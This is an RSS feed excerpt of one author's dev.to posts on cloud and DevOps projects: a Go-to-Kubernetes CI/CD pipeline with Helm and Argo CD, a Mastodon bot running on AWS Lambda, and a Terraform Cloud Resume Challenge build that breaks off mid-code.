Claude Code’un dosya okuma/yazma, terminal komutları çalıştırma gibi özellikleri (tool calling) model desteği gerektirir. GPT-OSS, Qwen3, Gemini bu konuda güvenilir. Hafif modellerde bu özellik olmayabilir. Ayrıca gerçek zamanlı yanıt akışı (streaming) için de modelin desteği şart. OpenRouter’ın model sayfasından teyit edin, iyi alışkanlık.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sonuç
&lt;/h2&gt;

&lt;p&gt;Claude Code, sandığınızdan çok daha esnek bir araç. Hangi API’yle konuştuğunu bir URL ve bir anahtarla değiştirebiliyorsunuz. Geri kalan her şey aynı.&lt;/p&gt;

&lt;p&gt;Dört satır kod. Beş dakika. Artık herhangi bir modele erişiminiz var.&lt;/p&gt;

&lt;p&gt;Anthropic faturası ödemek istemiyorsanız veya farklı modelleri denemek istiyorsanız, işte başlangıç noktanız.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cli</category>
      <category>tooling</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>DevOps Pipeline: Go Uygulamasından Kubernetes’e Sürekli Entegrasyon</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Sat, 23 Nov 2024 16:25:03 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/2ntech-proje-1ka6</link>
      <guid>https://dev.to/tahayagizguler/2ntech-proje-1ka6</guid>
      <description>&lt;p&gt;&lt;strong&gt;DevOps Pipeline: Go Uygulamasından Kubernetes’e Sürekli Entegrasyon&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Proje Amacı&lt;/strong&gt;&lt;br&gt;
Bu projede, Go dilinde yazılmış bir web uygulamasının geliştirilmesi, Docker kullanarak konteynerleştirilmesi, GitHub Actions ile CI/CD sürecinin kurulması, Kubernetes kullanılarak uygulamanın dağıtımının otomatik hale getirilmesi ve Argo CD ile sürekli dağıtım sürecinin entegrasyonu üzerine odaklandım.&lt;/p&gt;

&lt;p&gt;Projenin GitHub reposuna &lt;a href="https://github.com/tahayagizguler/devops-go-webapp/tree/main" rel="noopener noreferrer"&gt;buradan &lt;/a&gt;ulaşabilirsiniz.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Go Web Uygulaması Oluşturulması&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Aşağıda, basit bir Go web uygulamasının test edilmiş örneği yer almaktadır:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "net/http"
    "net/http/httptest"
    "testing"
)

func TestHomePage(t *testing.T) {
    req, err := http.NewRequest("GET", "/", nil)
    if err != nil {
        t.Fatal(err)
    }

    rr := httptest.NewRecorder()
    handler := http.HandlerFunc(homePage)

    handler.ServeHTTP(rr, req)

    if status := rr.Code; status != http.StatusOK {
        t.Errorf("homePage handler returned wrong status code: got %v want %v", status, http.StatusOK)
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;func TestHomeEndpoint(t *testing.T) {
    req, err := http.NewRequest("GET", "/home", nil)
    if err != nil {
        t.Fatal(err)
    }

    rr := httptest.NewRecorder()
    handler := http.HandlerFunc(homePage)

    handler.ServeHTTP(rr, req)

    if status := rr.Code; status != http.StatusOK {
        t.Errorf("home handler returned wrong status code: got %v want %v", status, http.StatusOK)
    }
}

func TestAboutPage(t *testing.T) {
    req, err := http.NewRequest("GET", "/about", nil)
    if err != nil {
        t.Fatal(err)
    }

    rr := httptest.NewRecorder()
    handler := http.HandlerFunc(aboutPage)

    handler.ServeHTTP(rr, req)

    if status := rr.Code; status != http.StatusOK {
        t.Errorf("aboutPage handler returned wrong status code: got %v want %v", status, http.StatusOK)
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Konteynerleştirme - Dockerfile Kullanımı&lt;/strong&gt;&lt;br&gt;
Bu süreçte, çok aşamalı bir Dockerfile kullanarak uygulamanın boyutunu optimize ettim. Dockerfile aşağıdaki gibi hazırlanmıştır:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FROM golang:1.23 AS base

WORKDIR /app

COPY go.mod .

RUN go mod download

COPY . .

RUN go build -o main .

# Final stage - Distroless image.

FROM gcr.io/distroless/base

COPY --from=base /app/main .

COPY --from=base /app/static ./static

# Expose the port on which the application will run
EXPOSE 8080

# Command to run the application
CMD ["./main"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Kubernetes ile Dağıtım&lt;/strong&gt;&lt;br&gt;
Uygulamanın Docker ile konteynerleştirilmesinin ardından, Kubernetes (K8s) kullanarak dağıtım yaptım. EKS (Amazon Elastic Kubernetes Service) kullanarak, Kubernetes kümesi oluşturdum ve Go uygulamasını bu kümeye dağıttım. AWS Kubernetes kümemi oluştururken eksctl kullandım ve Terraform ile yapmamın sebebi Bu kadar kısa bir işlem için buna gerek duymamam.&lt;br&gt;
”Eğer Terraform ile ilgili projelerimi incelemek isterseniz, &lt;a href="https://github.com/tahayagizguler" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; profilimi inceleyebilirsiniz.”&lt;/p&gt;

&lt;p&gt;Aşağıda uygulamanın Kubernetes dağıtımı için kullanılan YAML dosyaları örnek olarak verilmiştir:&lt;/p&gt;

&lt;p&gt;Deployment: Uygulamanın dağıtımını ve yönetimini sağlar.&lt;br&gt;
Service: Uygulamanın dış dünyaya açılmasını sağlar.&lt;br&gt;
Ingress: Trafiğin doğru yönlendirilmesini ve dış erişimi sağlar.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: go-web-app
  labels:
    app: go-web-app
spec:
  replicas: 1
  selector:
    matchLabels:
      app: go-web-app
  template:
    metadata:
      labels:
        app: go-web-app
    spec:
      containers:
      - name: go-web-app
        image: tyguler/go-web-app:v1
        ports:
        - containerPort: 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Ingress
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: go-web-app
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /
spec:
  ingressClassName: nginx
  rules:
  - host: go-web-app.local
    http:
      paths: 
      - path: /
        pathType: Prefix
        backend:
          service:
            name: go-web-app
            port:
              number: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Service
apiVersion: v1
kind: Service
metadata:
  name: go-web-app
  labels:
    app: go-web-app
spec:
  ports:
  - port: 80
    targetPort: 8080
    protocol: TCP
  selector:
    app: go-web-app
  type: ClusterIP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Helm ile Uygulama Yönetimi&lt;/strong&gt;&lt;br&gt;
Kubernetes üzerinde uygulama yönetimini kolaylaştırmak için Helm kullanmaya karar verdim. Helm, Kubernetes için bir paket yöneticisidir ve uygulamanın dağıtımını, yapılandırmasını ve sürüm yönetimini basitleştirir.&lt;/p&gt;

&lt;p&gt;Helm chart'ları, Kubernetes kaynaklarını yönetmek için şablonlar sağlar ve bu şablonlar, her ortamda uygulanabilir hale gelir.&lt;/p&gt;

&lt;p&gt;İlk olarak bir chart oluşturdum:&lt;br&gt;
&lt;code&gt;helm create go-web-app-chart&lt;/code&gt;&lt;br&gt;
Sonrasında K8s YAML dosyalarını templates klasörüne kopyaladım ve imajları yönetebilmek için bir değişken atadım:&lt;br&gt;
&lt;code&gt;image: tyguler/go-web-app:{{ .Values.image.tag }}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Bu sayede chart içerisindeki Values.yaml dosyasından kontrol sağladım.&lt;br&gt;
&lt;code&gt;helm install go-web-app ./go-web-app-chart&lt;/code&gt; komutu ile tüm yapıyı test ettim ve sonrasında &lt;code&gt;helm uninstall go-web-app&lt;/code&gt; komutu ile kaynakları temizledim.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. GitHub Actions ile CI/CD Süreci&lt;/strong&gt;&lt;br&gt;
Uygulamanın otomatik olarak test edilmesi, derlenmesi ve dağıtımı için GitHub Actions kullandım. GitHub Actions, her commit sonrası otomatik olarak testlerin çalıştırılmasını, Docker imajlarının oluşturulmasını ve bunların DockerHub'a yüklenmesini sağlar. Bu işlem, sürekli entegrasyon (CI) sürecinin temelini oluşturur.&lt;/p&gt;

&lt;p&gt;GitHub Actions iş akışı şu şekildedir:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name: CI

on:
  push:
    branches:
      - main
    paths-ignore:
      - 'README.md'
      - 'helm/**'

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout
      uses: actions/checkout@v4

    - name: Set up Go 1.23
      uses: actions/setup-go@v2
      with:
        go-version: 1.23

    - name: Build
      run: go build -o go-web-app

    - name: Test
      run: go test ./... # ./... means all subdirectories

  code_quality:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout
      uses: actions/checkout@v4

    - name: GolangCI-Lint
      uses: golangci/golangci-lint-action@v6
      with:
        version: latest

  push:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout
      uses: actions/checkout@v4

    - name: Set up Docker Buildx
      uses: docker/setup-buildx-action@v1

    - name: Login to DockerHub
      uses: docker/login-action@v2
      with:
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

    - name: Build and push
      uses: docker/build-push-action@v6
      with:
        context: .
        file: ./Dockerfile
        push: true
        tags: ${{ secrets.DOCKER_USERNAME }}/go-web-app:${{ github.run_id }}

  update-newtag-in-helm-chart:
    runs-on: ubuntu-latest

    needs: push

    steps:
    - name: Checkout repository
      uses: actions/checkout@v4

    - name: Update Helm chart
      run: |
        # Update the Helm chart tag
        sed -i 's/tag: .*/tag: ${GITHUB_RUN_ID}/' ./go-web-app-chart/values.yaml

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;6. Argo CD ile Sürekli Dağıtım Süreci&lt;/strong&gt;&lt;br&gt;
Son olarak, Argo CD ile sürekli dağıtım sürecini tamamladım. Argo CD, Kubernetes kümelerine otomatik dağıtım yaparak uygulamaların doğru sürümlerinin her zaman çalışmasını sağlar. Argo CD'nin kullanımını otomatikleştirdim ve Helm chart'ım ile sürekli dağıtımı Argo CD üzerinden gerçekleştirdim.&lt;/p&gt;

&lt;p&gt;Argo CD'yi kurduktan sonra, Helm chart'ımı kaynak olarak ekledim ve Argo CD üzerinden manuel veya otomatik dağıtımlar gerçekleştirdim.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0pjrmikvmd4nthcfxdyo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0pjrmikvmd4nthcfxdyo.PNG" alt=" " width="800" height="263"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sonuç&lt;/strong&gt;&lt;br&gt;
Proje, Docker, Kubernetes, Helm, GitHub Actions ve Argo CD entegrasyonuyla uygulama geliştirme ve dağıtım süreçlerini otomatikleştirmeme olanak tanıdı. Bu süreçlerin her birini doğru şekilde entegre etmek, sürekli entegrasyon (CI) ve sürekli dağıtım (CD) süreçlerini başarıyla kurmak, yazılım geliştirme ve dağıtımında verimliliği artırarak daha hızlı ve güvenilir sonuçlar elde edilmesini sağladı. Bu projede öğrendiğim en önemli şeylerden biri, farklı araç ve teknolojilerin birbirine nasıl entegre olacağını anlamak ve bu entegrasyonu etkin bir şekilde yönetebilmektir.&lt;/p&gt;

&lt;p&gt;Karşılaşılan Zorluklar&lt;br&gt;
Her ne kadar proje başarılı bir şekilde tamamlanmış olsa da, bazı zorluklarla karşılaştım. Bu zorluklar, proje sürecinin bazı noktalarında benim için önemli öğrenme fırsatları sundu.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;GitHub Actions ile CI/CD sürecini kurarken, özellikle test aşamalarında karşılaştım. Docker imajlarının doğru bir şekilde yapılandırılması ve DockerHub'a yüklenmesi için gerekli olan adımlar zaman zaman hatalı gerçekleşti. Bu durumun üstesinden gelmek için GitHub Actions iş akışını dikkatlice optimize ettim ve her bir adımı doğru sırayla çalışacak şekilde yapılandırdım.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Argo CD ile sürekli dağıtım süreçlerini otomatikleştirmeye çalışırken, Helm chart'ları ile doğru entegrasyonu sağlamak bazen karmaşık hale geldi. Bu durumu çözmek için Argo CD'nin Helm entegrasyonunu dikkatlice araştırdım ve doğru Helm chart sürümünü kullandım. Ayrıca, Argo CD'nin düzgün çalışması için kaynakların doğru şekilde tanımlanması gerektiği konusunda birçok deneme yaptım.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Kubernetes kümesinin yönetimi, özellikle manuel yapılandırmalar ve değişikliklerin yapılması gerektiğinde zorlayıcı olabiliyor. EKS üzerinde kümeyi yönetmek, özellikle altyapı hataları veya ağ yapılandırma sorunları nedeniyle zaman zaman karmaşık hale geldi. Bu zorlukları aşmak için AWS belgelerine başvurdum ve en iyi uygulama örneklerini takip ettim.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Mastadon Bot with AWS Lambda, S3, CloudWatch, and SSM</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Thu, 23 Mar 2023 13:08:57 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/mastadon-bot-with-aws-lambda-s3-cloudwatch-and-ssm-2bmf</link>
      <guid>https://dev.to/tahayagizguler/mastadon-bot-with-aws-lambda-s3-cloudwatch-and-ssm-2bmf</guid>
      <description>&lt;p&gt;In this post I show you how I set up the MastadonBot to share random frames from the movie Taxi Driver.&lt;br&gt;
This bot was created by taking inspiration from &lt;a href="https://www.cameronezell.com/creating-a-mastodon-bot-with-aws-lambda/" rel="noopener noreferrer"&gt;Cameron Ezell&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I also created this bot using Terraform. You can browse &lt;a href="https://github.com/tahayagizguler/MastadonBot_AWS" rel="noopener noreferrer"&gt;Github MastadonBot_AWS&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;How I got the frames?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Python script "&lt;a href="https://github.com/tahayagizguler/ExtractImagesFromVideoFile" rel="noopener noreferrer"&gt;ExtractImagesFromVideoFile&lt;/a&gt;"  I wrote for capturing screenshots at specified intervals from a video file using ffmpeg. This Python script captures screenshots from a video file at specified intervals (e.g., 1 second) using ffmpeg.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;Uploading frames!&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;First of all, I created an S3 bucket and uploaded the screenshots I wanted to share to this bucket and used the following path while uploading the screenshots.&lt;/p&gt;

&lt;p&gt;After saving about 7000 screenshots it would take quite a while to upload them to the S3 bucket so I created an EC2 instance and uploaded the files via FTP then copied the S3 bucket via the aws cli &amp;gt; &lt;code&gt;aws s3 cp ./ s3://your-bucket/ --recursive&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;Create your Application&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;For anyone interested in building a Mastodon bot, make sure the instance you create your bot on is fine with automated accounts.&lt;/p&gt;

&lt;p&gt;After signing up, create an app from Preferences &amp;gt; Development.&lt;br&gt;&lt;br&gt;
 (&lt;a href="https://botsin.space/about" rel="noopener noreferrer"&gt;botsin.space&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1vefcuicab5zsofxg1c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1vefcuicab5zsofxg1c.png" alt="App" width="800" height="447"&gt;&lt;/a&gt;&lt;br&gt;
Enter a name for your application and default values for now.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8zjdeqlnimla4aqswpa5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8zjdeqlnimla4aqswpa5.jpg" alt="Keys" width="800" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I keep the access token as SecureString type using the AWS Systems Manager Parameter Store. This is an important step for security.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;Lambda Function&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Boto3(AWS Lambda) script for randomly selects screenshots stored in S3 and enables sharing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import mastodon
from mastodon import Mastodon
import boto3
import os
import random
import re

def lambda_handler(event, context):
    BASE_URL = "https://botsin.space"
    BUCKET_NAME = "movieframebucket" # XXXXXXX
    keyArray = []
    ssm = boto3.client("ssm")

    auth_keys = ssm.get_parameters(
        Names=["my_consumer_key"], WithDecryption=True) # XXXXXXX
    access_token = auth_keys["Parameters"][0]["Value"]

    m = Mastodon(access_token=access_token, api_base_url=BASE_URL)

    s3 = boto3.resource("s3")
    s3bucket = s3.Bucket(BUCKET_NAME)

    try:
        for obj in s3bucket.objects.filter(Prefix="taxi_driver_frames/"): # XXXXXXX
            # add all frame key values from episode to an array
            keyArray.append("{0}".format(obj.key))
    except Exception as e:
        # If there is an error, raise the exception and stop the function
        raise e

    numFrames = len(keyArray)
    randomFrame = random.randint(0, numFrames)
    KEY = keyArray[randomFrame]
    print("frame from second # " + str(randomFrame))
    s3.Bucket(BUCKET_NAME).download_file(KEY, "/tmp/local.jpg")

    random_objectNumber = re.search(r'\d+', KEY).group()
    time_in_seconds = int(random_objectNumber)
    minutes, seconds = divmod(time_in_seconds, 60)
    hours, minutes = divmod(minutes, 60)
    time_format = "{:02d}:{:02d}:{:02d}".format(hours, minutes, seconds)
    frameInfo = "Taxi Driver | {:02d}:{:02d}:{:02d}".format(hours, minutes, seconds) 

    # We have to first create a media ID when uploading an image
    media = m.media_post("/tmp/local.jpg")
    # Then we can reference this media ID in our status post
    m.status_post(status=frameInfo, media_ids=media)


    os.remove("/tmp/local.jpg")
    return None
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I installed the Mastadon package locally and zipped it with this code I wrote then uploaded it to Lambda.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;CloudWatch Event for Lambda&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;I created a CloudWatch Event for Lambda to publish a post every 30 minutes.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxs5utxgrcw7xzfbv3mre.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxs5utxgrcw7xzfbv3mre.png" alt="Im" width="799" height="272"&gt;&lt;/a&gt;&lt;strong&gt;And here is our &lt;a href="https://botsin.space/@taxidriverframes" rel="noopener noreferrer"&gt;Mastadon bot&lt;/a&gt; ready!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I may have missed a few parts, don't hesitate to reach out to me if you need help. I would like to help you as much as I can!&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>devops</category>
      <category>cloud</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Cloud Resume Challenge (AWS)</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Sun, 19 Feb 2023 15:17:33 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/cloud-resume-challenge-aws-4ghf</link>
      <guid>https://dev.to/tahayagizguler/cloud-resume-challenge-aws-4ghf</guid>
      <description>&lt;p&gt;Cloud Resume Challenge is a project that helps us learn to use the cloud and some essential tools. You can access the outline of the project here &lt;a href="https://cloudresumechallenge.dev/" rel="noopener noreferrer"&gt;Cloud Resume Challenge&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In this blog post, I will tell you about the steps  I completed and challenges I went through the Cloud Resume Challenge. This challenge made me more familiar with using AWS services with Terraform. I learned about how the services work. I also learned and experienced a lot of things that I can't think of right now.&lt;/p&gt;

&lt;p&gt;You can see the final result &lt;a href="//tahayagizguler.tech"&gt;here&lt;/a&gt; and see the &lt;a href="https://github.com/tahayagizguler/cloudresumeAWS" rel="noopener noreferrer"&gt;GitHub code&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You can complete this challenge as part of the AWS Free tier.&lt;/strong&gt;&lt;br&gt;
You only need to buy a domain name, but if you are a student there are many ways to buy it for free. In the next part of the article, I will talk about how to get a free domain name.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2d4uxrz59qw6s7qqt4ah.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2d4uxrz59qw6s7qqt4ah.jpg" alt="Projecy Diagram" width="800" height="513"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now, let's take a look at which stages we need to complete.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Challenge Steps
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Build a website in HTML/CSS.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This step is very easy. Simply create a resume page for your resume website using html and css.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Host website with S3 Bucket.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I'm build with Terraform, but you can use AWS SAM if you want.&lt;/p&gt;

&lt;p&gt;I created an S3 bucket and determined the necessary CORS rule, and at the end, I ensured that the objects were uploaded to the S3 bucket collectively.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "aws_s3_bucket" "cloud-resume-bucket" {
  bucket = var.bucket_name
  acl    = "public-read"
  policy = file("website/policy.json")

  website {
    index_document = "index.html"
    error_document = "error.html"
  }
}


resource "aws_s3_bucket_cors_configuration" "s3_bucket_cors" {
  bucket = aws_s3_bucket.cloud-resume-bucket.id

  cors_rule {
    allowed_headers = ["*"]
    allowed_methods = ["GET", "POST"]
    allowed_origins = ["*"]
    max_age_seconds = 10
  }
}


resource "aws_s3_object" "test" {
  for_each = fileset("${path.module}/html", "**/*.*")
  acl    = "public-read"
  bucket = var.bucket_name
  key    = each.value
  source = "${path.module}/html/${each.value}"
  content_type  = lookup(var.mime_types, split(".", each.value)[length(split(".", each.value)) - 1])
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CloudFront for routing HTTP/S traffic.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;S3 website URL should use HTTPS for security. I did this with Cloudfront.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "aws_cloudfront_distribution" "s3_cf" {
  origin {
    domain_name              = "${aws_s3_bucket.cloud-resume-bucket.bucket_regional_domain_name}"
    origin_id                = "${local.s3_origin_id}"
  }

  enabled             = true
  is_ipv6_enabled     = true
  default_root_object = "index.html"


  custom_error_response {
      error_caching_min_ttl = 0
      error_code = 404
      response_code = 200
      response_page_path = "/error.html"
  }

  aliases = [var.domain_name]

  default_cache_behavior {
    allowed_methods  = ["GET", "HEAD"]
    cached_methods   = ["GET", "HEAD"]
    target_origin_id = "${local.s3_origin_id}"

    forwarded_values {
      query_string = false

      cookies {
        forward = "none"
      }
    }

    viewer_protocol_policy = "redirect-to-https" #redirect-to-https
    min_ttl                = 0
    default_ttl            = 3600
    max_ttl                = 86400
  }

  restrictions {
    geo_restriction {
      restriction_type = "none"
    }
  }

  # viewer_certificate {
  #   cloudfront_default_certificate = true
  # }

  viewer_certificate {
    acm_certificate_arn = aws_acm_certificate_validation.acm_val.certificate_arn
    ssl_support_method = "sni-only"
    minimum_protocol_version = "TLSv1.2_2021"
  }

}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Route53 for custom DNS.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this step, I registered my domain name to the Route53 service as seen below.&lt;br&gt;
(With the Github student package, you can get a free domain name.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "aws_route53_zone" "main" {
  name = var.domain_name
}

resource "aws_route53_record" "domain" {
  zone_id = "${aws_route53_zone.main.zone_id}"
  name = "${var.domain_name}"
  type = "A"

  alias {
    name = "${aws_cloudfront_distribution.s3_cf.domain_name}"
    zone_id = "${aws_cloudfront_distribution.s3_cf.hosted_zone_id}"
    evaluate_target_health = false
  }
}

resource "aws_route53_record" "cert_validation" {
  for_each = {
    for dvo in aws_acm_certificate.cert.domain_validation_options : dvo.domain_name =&amp;gt; {
      name   = dvo.resource_record_name
      record = dvo.resource_record_value
      type   = dvo.resource_record_type
    }
  }

  allow_overwrite = true
  name            = each.value.name
  records         = [each.value.record]
  ttl             = 60
  type            = each.value.type
  zone_id         = aws_route53_zone.main.zone_id
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Certificate Manager for enabling secure access with SSL Certificate.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I set SSL certificate with the ACM service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "aws_acm_certificate" "cert" {
  domain_name       = var.domain_name
  validation_method = "DNS"

  lifecycle {
    create_before_destroy = true
  }
}

resource "aws_acm_certificate_validation" "acm_val" {
  certificate_arn         = aws_acm_certificate.cert.arn
  validation_record_fqdns = [for record in aws_route53_record.cert_validation : record.fqdn]
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DynamoDB for database, storing website visitor count.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I created a DynamoDB database to retrieve and update the visitor counter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;resource "aws_dynamodb_table" "visiters" {
  name           = var.dynamodb_table
  billing_mode   = "PROVISIONED"
  read_capacity  = 1
  write_capacity = 1
  hash_key       = "id"

  attribute {
    name = "id"
    type = "N"
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Lambda function (python) to read/write website visitor count to DynamoDB.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After setting it up to work with database. I added the Lambda function I wrote with Python(boto3) and the necessary IAM policy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;data "archive_file" "lambda_zip" {
